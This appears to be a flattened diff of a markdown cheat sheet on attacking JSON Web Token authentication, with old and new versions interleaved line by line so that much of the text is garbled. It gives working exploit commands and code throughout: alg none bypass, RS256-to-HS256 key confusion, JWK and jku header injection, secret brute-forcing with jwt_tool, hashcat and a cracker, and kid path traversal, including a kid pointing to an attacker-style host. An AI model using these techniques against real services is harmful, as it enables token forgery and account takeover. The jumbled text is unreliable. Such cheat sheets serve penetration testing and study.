Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
**Exploit**:
```ps1
python3 jwt_tool.py JWT_HERE -X n
```
**Deconstructed**:
```json
{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}
```
### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
- [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
- [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
```ps1
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
```
### JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants: None algorithm variants:
* none
* None
* NONE
* nOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. - `none`
- `None`
- `NONE`
- `nOnE`
However, this won't work unless you **remove** the signature To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
Alternatively you can modify an existing JWT (be careful with the expiration time) Alternatively you can modify an existing JWT (be careful with the expiration time)
```python3 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import jwt ```ps1
python3 jwt_tool.py [JWT_HERE] -X a
```
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' - Manually editing the JWT
decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None' ```python
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) import jwt
print(noneEncoded.decode()) jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False)
""" # decode the token before encoding with type 'None'
Output: noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""
```
## JWT Signature - RS256 to HS256 print(noneEncoded.decode())
```
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. ### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
> The algorithm HS256 uses the secret key to sign and verify each message. If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
> The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: `openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout`
> The algorithm **HS256** uses the secret key to sign and verify each message.
> The algorithm **RS256** uses the private key to sign the message and uses the public key for authentication.
```python ```python
import jwt import jwt
@@ -139,75 +201,139 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`. :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
Here are the steps to edit an RS256 JWT token into an HS256 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
1. Convert our public key (key.pem) into HEX with this command. ```ps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
```powershell
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
``` ```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited. - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
4. Select the PEM radio button and copy the resulting PEM key.
5. Go to the Decoder tab and Base64-encode the PEM.
6. Go back to the JWT Editor Keys tab and generate a `New Symmetric Key` in JWK format.
7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
8. Edit the JWT token alg to `HS256` and the data.
9. Click `Sign` and keep the option: `Don't modify header`
```powershell - Manually using the following steps to edit an RS256 JWT token into an HS256
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a 1. Convert our public key (key.pem) into HEX with this command.
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0 ```powershell
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
```powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```
3. Convert signature (Hex to "base64 URL")
```powershell
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
```
4. Add signature to edited payload
```powershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
```
### JWT Signature - Key Injection Attack (CVE-2018-0114)
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
**Exploit**:
- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1
python3 jwt_tool.py [JWT_HERE] -X i
``` ```
3. Convert signature (Hex to "base64 URL") - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Add a `New RSA key`
2. In the JWT's Repeater tab, edit data
3. `Attack` > `Embedded JWK`
```powershell **Deconstructed**:
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
```
4. Add signature to edited payload ```json
{
```powershell "alg": "RS256",
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] "typ": "JWT",
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA "jwk": {
``` "kty": "RSA",
"kid": "jwt_tool",
## Breaking JWT's secret "use": "sig",
"e": "AQAB",
Encode/Decode JWT with the secret. "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
}
```python }.
import jwt {"login":"admin"}.
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret' [Signed with new Private key; Public key injected]
encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key
# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
``` ```
### JWT tool ### JWT Signature - Recover Public Key From Signed JWTs
First, bruteforce the "secret" key used to compute the signature. The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
```ps1
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
```
## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
### Encode and Decode JWT with the secret
- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
```ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] name = "John Doe"
```
- Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
```python
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
jwt.decode(encoded, 'secret', algorithms=['HS256'])
```
### Break JWT secret
Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
#### JWT tool
First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```powershell ```powershell
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.2 \______| @ticarpi
Original JWT:
[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S HS256 -p "secret"
``` ```
Then edit the field inside the JSON Web Token. Then edit the field inside the JSON Web Token.
@@ -221,8 +347,7 @@ Please enter new value and hit ENTER
[3] iat = 1516239022 [3] iat = 1516239022
[0] Continue to next step [0] Continue to next step
Please select a field number: Please select a field number (or 0 to Continue):
(or 0 to Continue)
> 0 > 0
``` ```
@@ -241,7 +366,7 @@ Please select an option from above (1-4):
Please enter the known key: Please enter the known key:
> secret > secret
Please enter the keylength: Please enter the key length:
[1] HMAC-SHA256 [1] HMAC-SHA256
[2] HMAC-SHA384 [2] HMAC-SHA384
[3] HMAC-SHA512 [3] HMAC-SHA512
@@ -252,52 +377,165 @@ Your new forged token:
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
``` ```
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` - Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` - Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` - Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
#### Hashcat
### JWT cracker
```bash
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
```
### Hashcat
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065) > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
```bash - Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a - Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret - Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
## JWT Claims
[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
### JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
- Example #1 : Local file
```json
{
"alg": "HS256",
"typ": "JWT",
"kid": "/root/res/keys/secret.key"
}
```
- Example #2 : Remote file
```json
{
"alg":"RS256",
"typ":"JWT",
"kid":"http://localhost:7070/privKey.key"
}
```
The content of the file specified in the kid header will be used to generate the signature.
```js
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)
``` ```
## CVE The common ways to misuse the kid header:
* CVE-2015-2951 - The alg=none signature-bypass vulnerability - Get the key content to change the payload
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability - Change the key path to force your own
* CVE-2018-0114 - Key injection vulnerability
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability ```py
* CVE-2020-28042 - Null signature vulnerability >>> jwt.encode(
... {"some": "payload"},
... "secret",
... algorithm="HS256",
... headers={"kid": "http://evil.example.com/custom.key"},
... )
```
- Change the key path to a file with a predictable content.
```ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
```
- Modify the kid header to attempt SQL and Command Injections
### JWKS - jku header injection
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
It is sometimes exposed publicly via a standard endpoint:
- `/jwks.json`
- `/.well-known/jwks.json`
- `/openid/connect/jwks.json`
- `/api/keys`
- `/api/v1/keys`
- [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
You should create your own key pair for this attack and host it. It should look like that:
```json
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}
```
**Exploit**:
- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1
python3 jwt_tool.py JWT_HERE -X s
python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
```
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Generate a new RSA key and host it
2. Edit JWT's data
3. Replace the `kid` header with the one from your JWKS
4. Add a `jku` header and sign the JWT (`Don't modify header` option should be checked)
**Deconstructed**:
```json
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]
```
## Labs
- [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
- [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
- [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
- [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
- [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
- [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
- [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
- [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
- [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
- [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
- [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
- [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
- [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
## References ## References
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) - [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/) - [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/) - [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://www.youtube.com/watch?v=d7wmUz57Nlg)
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec) - [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) - [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/) - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//) - [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens) - [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://nandynarwhals.org/hitbgsec2017-pasty/)
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) - [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) - [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) - [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) - [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://trustfoundry.net/jwt-hacking-101/)
- [Write up JRR Token LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/) - [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/) - [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass) - [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
